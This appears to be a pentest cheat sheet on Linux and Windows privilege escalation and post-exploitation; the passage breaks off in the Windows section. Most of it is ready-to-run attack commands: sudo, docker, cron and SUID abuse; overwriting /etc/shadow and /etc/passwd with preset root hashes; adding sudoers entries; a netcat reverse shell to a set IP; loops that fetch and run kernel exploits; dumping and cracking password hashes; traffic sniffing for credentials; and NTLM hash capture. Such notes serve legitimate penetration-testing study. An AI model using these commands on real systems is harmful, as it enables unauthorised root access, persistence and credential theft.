![](https://1508177803-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LSy0aAo8OKT4I-Ahftv%2F-LdoA0qvD1vdmmeoxPsn%2F-LdoAAMZC54N-cStX1Ir%2Fimage.png?alt=media\&token=198db928-2e3e-4fd4-9a81-fd3344d03d97) ## Post exploitation {% content-ref url="/pages/-LT7K-HmrQD7\_foKtZlV" %} [Shells](/shells) {% endcontent-ref %} ## Linux Privilege Escalation Examples ``` https://github.com/Tib3rius/Pentest-Cheatsheets/blob/master/privilege-escalation/linux/linux-examples.rst ``` ### ## MindMap ![MindMap for PE](https://1508177803-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LSy0aAo8OKT4I-Ahftv%2F-LT25U7D_AdavNsKUdWf%2F-LT25_VrvhA02WZBj6ca%2Fimage.png?alt=media\&token=0d51bea4-1371-4e00-b086-794d486cd950) ### Useful commands to run ``` https://github.com/mubix/post-exploitation/wiki/Linux-Post-Exploitation-Command-List ``` ### Things to look for * Miss-configured services (cronjobs) * any running as a privileged user? * Incorrect file permissions (exportfs, sudo) * Miss-configured environment ($PATH) * Binary with SUID bit * Software or OS with known vulnerabilities * Docker usergroup ## SUDO Read `http://touhidshaikh.com/blog/?p=790` #### Can you su to root without a password? ``` su root ``` {% hint style="info" %} If you get an error "su: must be run from a terminal"\ use one of the shell fixes above {% endhint %} ``` root ALL=(ALL) ALL The root user can execute from ALL terminals, acting as ALL (any) users, and run ALL (any) command. ``` ``` jelly ALL= /sbin/poweroff The user jelly can from any terminal, run the command power off using jelly's user password. ``` ``` jelly ALL = (root) NOPASSWD: /usr/bin/find The user jelly can from any terminal, run the command find as root user without password. ``` Are you a sudo user already? Do you have access to powerful commands like chown or chmod? ``` sudo su - ``` Are you part of the sudo group, but not in the sudoers file? ``` id # 27(sudo) pkexec sh ``` What can we run with sudo? ``` sudo -l ``` Try su as all users and the username as password User bash history ``` cat ~/.bash_history; cat ~/.nano_history; cat ~/.atftp_history; cat ~/.mysql_history; cat ~/.php_history ``` ## Spawning root shells Create a copy of `/bin/bash` or `/bin/sh` can you call it `rootbash` - make sure its owned by the root user. Then use `/bin/bash -p` to run it ## Questions to ask yourself #### What user with what permissions + where am I? ``` id pwd ``` #### What usernames could I login as? ``` grep -vE "nologin|false" /etc/passwd ``` #### What architecture? ``` uname -m ``` #### Whats running on the machine? ``` ps aux ``` look for something(s) that are running which is not standard #### What files does the user have permission? ``` find / -user $USER find / -name -*$USER* # looks for files with the username in it ``` #### What services are running? ``` netstat -antup ``` if things are here that are not on the nmap scan - could be a firewall rule blocking it is mysql in there? If so creds will be stored somewhere on the box #### What is installed? ``` dpkg -l | awk '$1 ~ /ii/{print $2,$3}' rpm -qa #copy output over to kali and run /scripts/linux/pkg_lookup.sh to find a vulnerable version or do below ``` #### Run on target ``` FILE="packages.txt"; FILEPATH="/tmp/$FILE"; /usr/bin/rpm -q -f /usr/bin/rpm >/dev/null 2>&1; if [ $? -eq 0 ]; then rpm -qa --qf "%{NAME} %{VERSION}\n" | sort -u > $FILEPATH; echo "kernel $(uname -r)" >> $FILEPATH; else dpkg -l | grep ii | awk '{print $2 " " substr($3,1)}' > $FILEPATH; echo "kernel $(uname -r)" >> $FILEPATH; fi; echo ""; echo "[>] Done. Transfer $FILEPATH to your computer and run: "; echo ""; echo "./packages_compare.sh /path/to/$FILE"; echo ""; ``` Copy /tmp/packages.txt which it has created back to your machine and then run ``` #download this https://raw.githubusercontent.com/rowbot1/burmatscripts/master/bash/vuln_pkg_lookup.sh ``` ``` ./vuln_pkg_loookup.sh packages.txt ``` ``` # Common locations for user installed software /usr/local/ /usr/local/src /usr/local/bin /opt/ /home /var/ /usr/src/ # Debian dpkg -l # CentOS, OpenSuse, Fedora, RHEL rpm -qa (CentOS / openSUSE ) # OpenBSD, FreeBSD pkg_info ``` #### What kernel version - low hanging fruit? ``` uname -a ``` #### What web app creds can i find? ``` find . -iname 'config' 2>/dev/null ``` Research where creds would be stored on certain webapps #### Can you see the shadow file - get lucky? ``` cat /etc/shadow ``` What services are running as root?: ``` ps aux | grep root ``` Look for vulnerable/privileged components such as: mysql, sudo, udev, python If **/etc/exports** if writable, you can add an NFS entry or change and existing entry adding the **no\_root\_squash** flag to a root directory, put a binary with SUID bit on, and get root. ### Some programs that can be used to spawn a shell: ``` nmap vim less more ``` ## Docker Are you in a docker usergroup ``` uid=1000($user)gid=1000($user)groups=1000($user),24(cdrom),25(floppy),999(docker) ``` Get the image name `docker ps` then run ``` docker run -v /:/mnt --rm -it $imagenamehere chroot /mnt sh ``` this will then get you a root shell {% hint style="success" %} {% endhint %} ## Cron Jobs ### What jobs are scheduled? ``` crontab -l 2>/dev/null ls -alh /var/spool/cron 2>/dev/null ls -al /etc/ | grep cron 2>/dev/null ls -al /etc/cron* 2>/dev/null cat /etc/cron* 2>/dev/null cat /etc/at.allow 2>/dev/null cat /etc/at.deny 2>/dev/null cat /etc/cron.allow 2>/dev/null cat /etc/cron.deny 2>/dev/null cat /etc/crontab 2>/dev/null cat /etc/anacrontab 2>/dev/null cat /var/spool/cron/crontabs/root 2>/dev/null ``` If there is a **cronjob** that runs as run but it has incorrect file permissions, you can change it to run your SUID binary and get a shell. The following command will list processes running by root, permissions and NFS exports. ``` echo 'services running as root'; ps aux | grep root; echo 'permissions'; ps aux | awk '{print $11}'|xargs -r ls -la 2>/dev/null |awk '!x[$0]++'; echo 'nfs info'; ls -la /etc/exports 2>/dev/null; cat /etc/exports 2>/dev/null ``` Use netstat to find other machines connected ``` netstat -ano ``` #### Confidential information and users ``` id su sudo -l cat /etc/passwd cat /etc/shadow cat /etc/group cat /etc/sudoers # who is in there are you? ls -alh /var/mail/ ls -ahlR /root ls -ahlR /home/ ``` ``` grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 {print $1}' #any other super users? ``` ## Find interesting files and directories fast `find / -name "*.txt" 2> >(grep -v 'Permission denied' >&2)` `grep -R -i "password" 2> >(grep -v 'Permission denied' >&2)` ### File Write If you can write to any of these files or directories you have a good chance of PE ``` ~/.ssh/authorized_keys /var/www/html /var/spool/cron/crontabs/$user /etc/crontab /etc/cron.* $PATH or Libraries(.py) /etc/systemd/system /etc/init.d /etc/sudoers ``` ## If you have found a download it to your box and open it in Ghidra. Check the main function to view de-compiled commands interesting binary SUID files / binaries Things to remember: * Run strings on the binary. Read all of it, don't just read the bottom of the output - read the top. Look for programs that the binary calls like `curl`. If you spot one then if it doesn't have its full path you can exploit it by modifying the path variable and creating a file with `/bin/bash.` See box symofonos:1. The file will run as the owner no matter who executes it. So if root owns it, we can run it and hijack it to become root ``` ltrace ./binary # step through binary may result in revealing password if password is needed to run it ``` ![](https://1508177803-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LSy0aAo8OKT4I-Ahftv%2F-LtC6WJ_9AZYlYnAktZI%2F-LtadicvqA6_GE8Y2px9%2Fimage.png?alt=media\&token=f60ce358-32d0-4455-b0a3-27a1f3475026) ## Capabilities Linux capabilities provide a subset of the available root privileges to a process. This effectively breaks up root privileges into smaller and distinctive units. Each of these units can then be independently be granted to processes. This way the full set of privileges is reduced and decreasing the risks of exploitation. ``` https://book.hacktricks.xyz/linux-unix/privilege-escalation/linux-capabilities ``` | Capabilities name | Description | | -------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------- | | CAP\_AUDIT\_CONTROL | Allow to enable/disable kernel auditing | | CAP\_AUDIT\_WRITE | Helps to write records to kernel auditing log | | CAP\_BLOCK\_SUSPEND | This feature can block system suspends | | **CAP\_CHOWN** | Allow user to make arbitrary change to files UIDs and GIDs (full filesystem access) | | **CAP\_DAC\_OVERRIDE** | This helps to bypass file read, write and execute permission checks (full filesystem access) | | **CAP\_DAC\_READ\_SEARCH** | This only bypass file and directory read/execute permission checks | | CAP\_FOWNER | This enables to bypass permission checks on operations that normally require the filesystem UID of the process to match the UID of the file | | CAP\_KILL | Allow the sending of signals to processes belonging to others | | CAP\_SETGID | Allow changing of the GID | | **CAP\_SETUID** | Allow changing of the UID (set UID of root in you process) | | CAP\_SETPCAP | Helps to transferring and removal of current set to any PID | | CAP\_IPC\_LOCK | This helps to lock memory | | CAP\_MAC\_ADMIN | Allow MAC configuration or state changes | | CAP\_NET\_RAW | Use RAW and PACKET sockets | | CAP\_NET\_BIND\_SERVICE | SERVICE Bind a socket to internet domain privileged ports | | CAP\_SYS\_CHROOT | Ability to call chroot() | ## World-writable folders ``` find / -writable -type d 2>/dev/null ``` ``` find / -perm -222 -type d 2>/dev/null ``` ``` find / -perm -o w -type d 2>/dev/null ``` ### World-executable folders ``` find / -perm -o x -type d 2>/dev/null ``` ### World-writeable & executable folders ``` find / \( -perm -o w -perm -o x \) -type d 2>/dev/null ``` #### gives a bit more info ``` find / \( -wholename '/home/homedir*' -prune \) -o \( -type d -perm -0002 \) -exec ls -ld '{}' ';' 2>/dev/null | grep -v root ``` ### Word writable directories for root ``` find / \( -wholename '/home/homedir*' -prune \) -o \( -type d -perm -0002 \) -exec ls -ld '{}' ';' 2>/dev/null | grep root ``` #### Look for binaries with the SUID or GUID bits set. ``` find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 6 -exec ls -ld {} \; 2>/dev/null ``` ``` find / -perm -1000 -type d 2>/dev/null ``` ``` find / -perm -g=s -type f 2>/dev/null ``` ``` find / -user root -perm -4000 -print 2>/dev/null ``` In plain English, this command says to find files in the / directory owned by the user root with SUID permission bits (*-perm -4000*), print them, and then redirect all errors (*2* = stderr) to */dev/null* (where they get thrown away). The reason for this redirect is that we aren't interested in things that we can't access, and access denied errors can fill up a terminal pretty fast. Adding a binary to PATH, to hijack another SUID binary invokes it without the fully qualified path. ``` function /usr/bin/foo () { /usr/bin/echo "It works"; } export -f /usr/bin/foo /usr/bin/foo It works ``` If you can get root to execute anything, the following will change a binary owner to him and set the SUID flag: ``` chown root:root /tmp/setuid;chmod 4777 /tmp/setuid; ``` ``` #look for the string password in files in the current directory grep -rwl "password" ``` ### /etc/shadow overwrite If a SUID binary allows you to write to a file, overwrite **/etc/shadow** with the following then **su** to root using password **rowbot** ``` root:$6$saltsalt$zjiFtiGFBUkyU86/TTUE1Dgg6ZNem6QUdhcVVRsjLXvWGjCm90F/2.PDpGOfGCspP0/j6a6YLlImSqQZIUmqc.:18294:0:99999:7::: ``` ### Check running services and installed applications `ps -ef cat /etc/services dpkg -l rpm -qa` An example here is for instance that you see a local database like mysql is running. Maybe you are able to find credentials for it and log into it locally on the box If MYSQL is running as root, you can run commands using **sys\_exec()**. For instance, to add user to sudoers: ``` ps -aux | grep root | grep mysql ``` ``` sys_exec('usermod -a -G admin username') ``` More about MYSQL: ``` https://www.adampalmer.me/iodigitalsec/2013/08/13/mysql-root-to-system-root-with-udf-for-windows-and-linux/ ``` Command to skip ignored lines in config files ``` alias nonempty="egrep -v '^[ \t]*#|^$'" ``` Find Linux distribution & version ``` cat /etc/issue; cat /etc/*-release; cat /etc/lsb-release; cat /etc/redhat-release; ``` Check versions - use in conjunction with searchsploit ``` dpkg -l rpm -qa httpd -v mysql --version python --version ruby -v ``` #### Architecture ``` cat /etc/*release uname -m ``` #### Environment variables ``` cat /etc/profile; cat /etc/bashrc; cat ~/.bash_profile; cat ~/.bashrc; cat ~/.bash_logout; env; set ``` Find printers ``` lpstat -a ``` #### Find apps installed; ``` ls -alh /usr/bin/; ls -alh /sbin/; dpkg -l; rpm -qa; ls -alh /var/cache/apt/archivesO; ls -alh /var/cache/yum/*; ``` #### Find writable configuration files ``` find /etc/ -writable -type f 2>/dev/null ``` #### Miss-configured services ``` cat /etc/syslog.conf; cat /etc/chttp.conf; cat /etc/lighttpd.conf; cat /etc/cups/cupsd.conf; cat /etc/inetd.conf; cat /etc/apache2/apache2.conf; cat /etc/my.conf; cat /etc/httpd/conf/httpd.conf; cat /opt/lampp/etc/httpd.conf; ls -aRl /etc/ | awk '$1 ~ /^.*r.*/' ``` #### Scheduled jobs ``` crontab -l; ls -alh /var/spool/cron; ls -al /etc/ | grep cron; ls -al /etc/cron*; cat /etc/cron*; cat /etc/at.allow; cat /etc/at.deny; cat /etc/cron.allow; cat /etc/cron.deny' ``` {% hint style="info" %} {% endhint %} #### Grep hardcoded passwords ``` grep -i user [filename] grep -i pass [filename] grep -C 5 "password" [filename] find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password" ``` #### if web server run in web root: ``` grep "localhost" ./ -R ``` #### Network configuration ``` /sbin/ifconfig -a; cat /etc/network/interfaces; cat /etc/sysconfig/network; cat /etc/resolv.conf; cat /etc/sysconfig/network; cat /etc/networks; iptables -L; hostname; dnsdomainname ``` List other users home directories ``` ls -ahlR /root/; ls -ahlR /home/ ``` User mails ``` cat ~/.bashrc; cat ~/.profile; cat /var/mail/root; cat /var/spool/mail/root ``` Find interesting binaries ``` find / -name wget 2>/dev/null; find / -name nc* 2>/dev/null; find / -name netcat* 2>/dev/null; find / -name tftp* 2>/dev/null; find / -name ftp 2>/dev/null ``` #### Mounted filesystems ``` mount; df -h; cat /etc/fstab ``` If you can just change PATH, the following will add a poisoned ssh binary: ``` set PATH="/tmp:/usr/local/bin:/usr/bin:/bin" echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.1 4444 >/tmp/f" >> /tmp/ssh chmod +x ssh ``` ``` #Ippsec demoing $PATH PE https://www.youtube.com/watch?v=3VxZNflJqsw ``` ### Generating SUID C Shell for /bin/bash ``` int main() { setuid(0); system("/bin/bash -p"); } ``` Compile using `gcc -o ` Without interactive shell ``` echo -e '#include \n#include \n#include \n\nint main(void){\n\tsetuid(0);\n\tsetgid(0);\n\tsystem("/bin/bash");\n}' > setuid.c ``` If /etc/passwd has incorrect permissions, you can root: ``` echo 'root::0:0:root:/root:/bin/bash' > /etc/passwd; su or echo "root:JblITMXA7I1hg:0:0:root:/root:/bin/bash" > /etc/passwd then su using password rowbot ``` or ``` openssl passwd #put in password, output is random sting #pass this on the x part of root in /etc/passwd su root using the password u set ``` Add user www-data to sudoers without password ``` chmod 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD:ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update ``` If you can sudo chmod: ``` echo -e '#include \n#include \n#include \n\nint main(void){\n\tsetuid(0);\n\tsetgid(0);\n\tsystem("/bin/bash");\n}' > setuid.c $ sudo chown root:root /tmp/setuid; sudo chmod 4777 /tmp/setuid; /tmp/setuid ``` Wildcard injection if there is a cron with a wildcard in the command line, you can create a file, whose name will be passed as an argument to the cron task, For more info: ``` https://www.sans.org/reading-room/whitepapers/testing/attack-defend-linux-privilege-escalation-techniques-2016-37562 ``` compile exploit fix error ``` gcc 9545.c -o 9545 -Wl,--hash-style=both ``` Find other uses in the system ``` $id; who; w; last; cat /etc/passwd | cut -d: -f1; echo 'sudoers:'; cat /etc/sudoers; sudo -l ``` ``` grep home /etc/passwd|cut -d: -f1 ``` #### World readable/writable files: ``` cho "world-writeable folders"; find / -writable -type d 2>/dev/null; echo "world-writeable folders"; find / -perm -222 -type d 2>/dev/null; echo "world-writeable folders"; find / -perm -o w -type d 2>/dev/null; echo "world-executable folders"; find / -perm -o x -type d 2>/dev/null; echo "world-writeable & executable folders"; find / \( -perm -o w -perm -o x \) -type d 2>/dev/null; ``` Find world-readable files: ``` find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print ``` Find nobody owned files ``` ind /dir -xdev \( -nouser -o -nogroup \) -print ``` Add user to sudoers in python. ``` #!/usr/bin/env python import os import sys try: os.system('echo "username ALL=(ALL:ALL) ALL" >> /etc/sudoers') except: sys.exit() ``` Ring0 kernel exploit for 2.3/2.4 ``` wget http://downloads.securityfocus.com/vulnerabilities/exploits/36038-6.c; gcc 36038-6.c -m32 -o ring0; chmod +x ring0; ./ring0 ``` #### Inspect web traffic ``` tcpdump tcp port 80 -w output.pcap -i eth0 ``` ## Scripts to run ### Copy them over Creates folder `/tmp/rowbot` and copies files on kali web server to target ``` wget -nd -np -R "index.html*" -P /tmp/rowbot --recursive http://kali$ip ``` What is running, any cron jobs any scripts? Use PSPY to find out ``` https://github.com/DominicBreuker/pspy ``` Useful script to run for initial scan - displays info on box ``` wget https://raw.githubusercontent.com/bngr/OSCP-Scripts/master/bangenum.sh sed -i -e 's/\r$//' bangenum.sh ./bangenum.sh ``` Use this tool first to help you get in the PE mindset. ``` https://github.com/diego-treitos/linux-smart-enumeration ``` ### SUID search - good tool ``` https://github.com/Anon-Exploiter/SUID3NUM https://github.com/TH3xACE/SUDO_KILLER ``` ### Automatically downloads and compiles exploit The following script runs exploit suggester and automatically downloads and executes suggested exploits: ``` wget https://raw.githubusercontent.com/wwong99/pentest-notes/master/scripts/xploit_installer.py ``` ``` USAGE: xploit_installer.py ``` ### Linux Remote Exploits ``` 47: shellshock 48: heartbleed ``` ### Kernelpop automated kernel vulnerability enumeration and exploitation ![](https://1508177803-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LSy0aAo8OKT4I-Ahftv%2F-LsMzvn3W96KaZ6tNrpp%2F-LsN1GBrkhyTxnqn0BDq%2Fimage.png?alt=media\&token=cb795dfb-df5c-4f1d-bfc7-977cae68221b) ``` https://github.com/spencerdodd/kernelpop ``` ## Linux Local Exploits ``` 49: linux-exploit-suggester 50: unix_privesc_check 51: kernel 2.4.x / 2.6.x (sock_sendpage 1) 52: kernel 2.4 / 2.6 (sock_sendpage 2) 53: kernel < 2.6.22 (ftruncate) 54: kernel < 2.6.34 (cap_sys_admin) 55: kernel 2.6.27 < 2.6.36 (compat) 56: kernel < 2.6.36-rc1 (can bcm) 57: kernel <= 2.6.36-rc8 (rds protocol) 58: *kernel < 2.6.36.2 (half nelson) 59: *kernel <= 2.6.37 (full nelson) 60: kernel 2.6 (udev) 61: kernel 3.13 (sgid) 62: kernel 3.13.0 < 3.19 (overlayfs 1) 63: kernel 3.14.5 (libfutex) 64: kernel 2.6.39 <= 3.2.2 (mempodipper) 65: *kernel 2.6.28 / 3.0 (alpha-omega) 66: kernel 2.6.22 < 3.9 (Dirty Cow) 67: kernel 3.7.6 (msr) 68: *kernel < 3.8.9 (perf_swevent_init) 69: kernel <= 4.3.3 (overlayfs 2) 70: kernel 4.3.3 (overlayfs 3) 71: kernel 4.4.0 (af_packet) 72: kernel 4.4.x (double-fdput) 73: kernel 4.4.0-21 (netfilter) 74: *kernel 4.4.1 (refcount) ``` ``` wget http://www.securitysift.com/download/linuxprivchecker.py ``` ### Linux Kernel Exploits Check kernel version ``` uname -r : Find Linux kernel version. cat /proc/version : Show Linux kernel version with help of a special file. hostnamectl | grep Kernel : For systemd based Linux distro you can use hotnamectl to display hostname and running Linux kernel version. ``` Then do a search for it on this page ``` https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md ``` ![https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md](https://1508177803-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LSy0aAo8OKT4I-Ahftv%2F-MCfPemmyh1pQVzan6YX%2F-MCfQptbnx0k9_TttXu_%2Fimage.png?alt=media\&token=ec571f7b-ca83-4485-aa59-a78dd27c7bde) * Linux Kernel 2.6.39 - 3.2.2 (Gentoo / Ubuntu x86/x64) - 'Mempodipper' Local Privilege Escalation: * * * CVE-2012-0056 * Linux Kernel 2.6.22 - 3.9 (x86/x64) - 'Dirty COW /proc/self/mem' Race Condition Privilege Escalation (SUID Method): * * CVE-2016-5195 * Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Local Privilege Escalation * * * CVE-2003-0127 * Linux Kernel 2.6 (Debian 4.0 / Ubuntu / Gentoo) UDEV below 1.4.1 - Local Privilege Escalation (1) * * `exploit/linux/local/udev_netlink` ### Unix Priv checker ``` wget https://raw.githubusercontent.com/pentestmonkey/unix-privesc-check/master/upc.sh ``` Other scripts: ``` wget https://raw.githubusercontent.com/sleventyeleven/linuxprivchecker/master/linuxprivchecker.py ``` ### LinEnum {% hint style="warning" %} Remember to run them again if you get a user shell not just www-data shell {% endhint %} ``` wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh ``` ``` ./LinEnum.sh -t -r report.txt ``` ### LinuxPrivchecker.py ``` wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh ``` ``` wget https://raw.githubusercontent.com/PenturaLabs/Linux_Exploit_Suggester/master/Linux_Exploit_Suggester.pl ``` ``` wget https://www.rebootuser.com/?p=1758 ``` ### Exploits worth running {% hint style="success" %} Always be sure to read the comments in exploits they inform you about which systems and version are vulnerable, which parts of the script need modification & which compilation flags to use. $targetip 32 bit or 64 bit? Be mindful of this when compiling exploits. {% endhint %} #### Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escalation ``` https://www.exploit-db.com/exploits/37292 ``` #### CVE-2010-3904 - Linux RDS Exploit - Linux Kernel <= 2.6.36-rc8 ``` https://www.exploit-db.com/exploits/15285/ ``` #### Linux Kernel <= 2.6.37 'Full-Nelson.c' ``` https://www.exploit-db.com/exploits/15704/ ``` #### CVE-2012-0056 - Mempodipper - Linux Kernel 2.6.39 < 3.2.2 (Gentoo / Ubuntu x86/x64) ``` https://git.zx2c4.com/CVE-2012-0056/about/ ``` #### Linux CVE 2012-0056 ``` wget -O exploit.c gcc -o mempodipper exploit.c ./mempodipper ``` #### CVE-2016-5195 - Dirty Cow - Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8 ``` https://dirtycow.ninja/ ``` #### Compile dirty cow: ``` g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil ``` #### Cross compiling exploits ``` gcc -m32 -o output32 hello.c #(32 bit) gcc -m64 -o output hello.c # (64 bit) ``` #### Linux 2.6.32 ``` https://www.exploit-db.com/exploits/15285/ ``` #### Elevation in 2.6.x: ``` for a in 9352 9513 33321 15774 15150 15944 9543 33322 9545 25288 40838 40616 40611 ; do wget http://yourIP:8000/$a; chmod +x $a; ./$a; id; done ``` ### Get proof ``` echo " ";echo "uname -a:";uname -a;echo " ";echo "hostname:";hostname;echo " ";echo "id";id;echo " ";echo "ifconfig:";/sbin/ifconfig -a;echo " ";echo "proof:";cat /root/proof.txt 2>/dev/null; cat /Desktop/proof.txt 2>/dev/null;echo " " ``` # Loot Grab all the things ### Passwords and hashes First grab the passwd and shadow file. ``` cat /etc/passwd cat /etc/shadow ``` Crack the password using `john the ripper` like this: ``` unshadow passwd shadow > unshadowed.txt john --rules --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt ``` ### Interesting files ``` #Meterpreter search -f *.txt search -f *.zip search -f *.doc search -f *.xls search -f config* search -f *.rar search -f *.docx search -f *.sql .ssh: .bash_history ``` ### Mail ``` /var/mail /var/spool/mail ``` ### Tcp-dump Fast command: ``` tcpdump -i any -s0 -w capture.pcap tcpdump -i eth0 -w capture -n -U -s 0 src not 192.168.1.X and dst not 192.168.1.X tcpdump -vv -i eth0 src not 192.168.1.X and dst not 192.168.1.X ``` First figure out what interfaces the machine is using: `ifconfig`. Then you can just start tapping in on that and start to capture those packets. #### Commands and flags Let's start with the basics. `tcpdump` - this command will output all network traffic straight to the terminal. Might be hard to understand if there is a lot of traffic. `-A` - stands for Ascii, and output it in ascii. `-w file.pcap` - the w-flag will save the output into the filename of your choice. The traffic is stored in pcap-format, which is the standard packet-analysis-format. `-i any` - will capture traffic for all interfaces. `-D` - show list of all interfaces `-q` - be less verbose. Be more `quiet` `-s` - The default size that tcpdump captures is only 96 bytes. If you want it to capture more you have to define it yourself `-s0` gives you the whole packet. `-c` - count. Set how many packets you want to intercept. And then stop. Is useful if you have a non-interactive shell, this way to can capture packets without having to leave with `ctr-c`. `port 22` - only see traffic on a specific port. `-vvv` - Verbose. Depending on how verbose you want the output. #### Useful commands Lots of good stuff here ``` tcpdump -i wlan0 -vvv -A | grep "GET" ``` This will grep all GET from the wlan0 interface. This will not get any SSL-encrypted traffic. ``` sudo tcpdump -i wlan0 src port 80 or dst port 80 -w port-80-recording.pcap sudo tcpdump -i eth0 src port 80 or dst port 80 -w port-80-recording.pcap ``` Print the traffic in hex with ascii interpretation. ``` tcpdump -nX -r file.pcap ``` Only record tcp-traffic ``` tcpdump tcp -w file.pcap ``` #### Sniffing for passwords Once we have dumped some of the traffic we can insert it into metasploit and run `psnuffle` on it. It can sniff passwords and usernames from **pop3**, **imap**, **ftp**, and **HTTP GET**. This is a really easy way to find usernames and passwords from traffic that you have already dumped, or are in the process of dumping. ``` use auxiliary/sniffer/psnuffle ``` ### References # Windows ## Windows Privilege Escalation Examples ``` https://github.com/Tib3rius/Pentest-Cheatsheets/blob/master/privilege-escalation/windows/windows-examples.rst ``` ## MindMap ![MindMap for PE](https://1508177803-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LSy0aAo8OKT4I-Ahftv%2F-LT25kX_SagPT4HjllIA%2F-LT25mDxIziEWXPNSLhw%2Fimage.png?alt=media\&token=bc7a6a34-a1ec-48f6-ad58-cf5c481cd342) ![https://twitter.com/SBousseaden/status/1236077839046324229](https://1508177803-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LSy0aAo8OKT4I-Ahftv%2F-M1pLXccD-Xefzyv-vHr%2F-M1pLcpLDrzwyEG4Hv82%2Fimage.png?alt=media\&token=77479710-1c1c-47d8-91d0-a3f55dc7d29c) ``` https://github.com/netbiosX/Checklists/blob/master/Windows-Privilege-Escalation.md ``` * [WPE-01 - Stored Credentials](https://pentestlab.blog/2017/04/19/stored-credentials/) * [WPE-02 - Windows Kernel](https://pentestlab.blog/2017/04/24/windows-kernel-exploits/) * [WPE-03 - DLL Injection](https://pentestlab.blog/2017/04/04/dll-injection/) * [WPE-04 - Weak Service Permissions](https://pentestlab.blog/2017/03/30/weak-service-permissions/) * [WPE-05 - DLL Hijacking](https://pentestlab.blog/2017/03/27/dll-hijacking/) * [WPE-06 - Hot Potato](https://pentestlab.blog/2017/04/13/hot-potato/) * [WPE-07 - Group Policy Preferences](https://pentestlab.blog/2017/03/20/group-policy-preferences/) * [WPE-08 - Unquoted Service Path](https://pentestlab.blog/2017/03/09/unquoted-service-path/) * [WPE-09 - Always Install Elevated](https://pentestlab.blog/2017/02/28/always-install-elevated/) * [WPE-10 - Token Manipulation](https://pentestlab.blog/2017/04/03/token-manipulation/) * [WPE-11 - Secondary Logon Handle](https://pentestlab.blog/2017/04/07/secondary-logon-handle/) * [WPE-12 - Insecure Registry Permissions](https://pentestlab.blog/2017/03/31/insecure-registry-permissions/) * [WPE-13 - Intel SYSRET](https://pentestlab.blog/2017/06/14/intel-sysret/) ## Windows Kernel Sploit List ``` https://github.com/njahrckstr/Windows_Kernel_Sploit_List ``` ## Videos {% hint style="success" %} use rlwrap to improve windows shell rlwrap nc -lnvp 443 {% endhint %} ## Useful commands ``` http://www.handgrep.se/repository/cheatsheets/postexploitation/WindowsPost-Exploitation.pdf ``` ``` https://github.com/emilyanncr/Windows-Post-Exploitation ``` ## Credential reuse ``` https://recipeforroot.com/windows-password-scouting/ ``` Sometimes a user that you have the credentials for is also the administrator on the system, but uses the same password for both accounts. So never forget to try passwords when you have the chance. Just don't overdo it so you trigger some lockout mechanism and get detected. Try the obvious - Maybe the user is SYSTEM or is already part of the Administrator group. As you can see from the output of the three commands below the username is *hacker*, he is part of the group *administrators.* In this case, a privilege escalation is not necessary because we are already in the administrators group! * `whoami` * `net localgroup administrator` * `net user "%username%"` ![https://github.com/chryzsh/practical-hacking/blob/master/part-4-privilege-escalation.md](https://1508177803-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LSy0aAo8OKT4I-Ahftv%2F-LT8Si-Wr1MNWtkSNhVg%2F-LT8VHbbnRgfgGudOmqd%2Fimage%20\(32\).png?alt=media\&token=943a59bf-ea1c-4c5b-8149-9b2157e43ae3) Getting a shell in limited interpreters: ``` system("start cmd.exe /k $cmd") ``` Bind cmd to a port: ``` nc.exe -Lp 31337 -vv -e cmd.exe ``` Reverse shell: ``` nc.exe attacker_ip attacker_port -e cmd.exe ``` ## To capture NTLM hash ``` https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/ ``` Spin up smbserver.py and connect via smb to your server on kali. ie smbclient -L //$kali$ip ``` /usr/share/doc/python-impacket/examples/smbserver.py -smb2support test . Impacket v0.9.19 - Copyright 2019 SecureAuth Corporation [*] Config file parsed [*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0 [*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0 [*] Config file parsed [*] Config file parsed [*] Config file parsed [*] Incoming connection (victimip:port) [*] AUTHENTICATE_MESSAGE (MicrosoftAccount\emailhere@gmail.com,DESKTOP-12345A) [*] User emailhere@gmail.com\DESKTOP-123456A authenticated successfully [*]emailhere@gmail.com::MicrosoftAccount:aad3c435b514a4eeaad3b935b51304fec46b9e58:aad3c435b514a4eeaad3b935b51304fec46b9e58:aad3c435b514a4eeaad3b935b51304fec46b9e58 ``` ## System info Finding installed software, running processes, bind ports, and OS version might be critical to identify the right EoP vector. Find installed patches, architecture, OS version ``` systeminfo | findstr /B /C:"OS Name" /C:"OS Version" ``` Get exact OS version ``` type C:/Windows/system32/eula.txt ``` {% hint style="success" %} Hotfix(s): N/A\ If there are no Hot fixes then its likely the system is vulnerable to kernel exploit {% endhint %} ### Hostname Environment ``` set ``` List open connections ``` netstat -aton ``` Network information ``` ipconfig /all & route print & arp -a ``` ### Information about a Users & Administrator Find current user. ``` 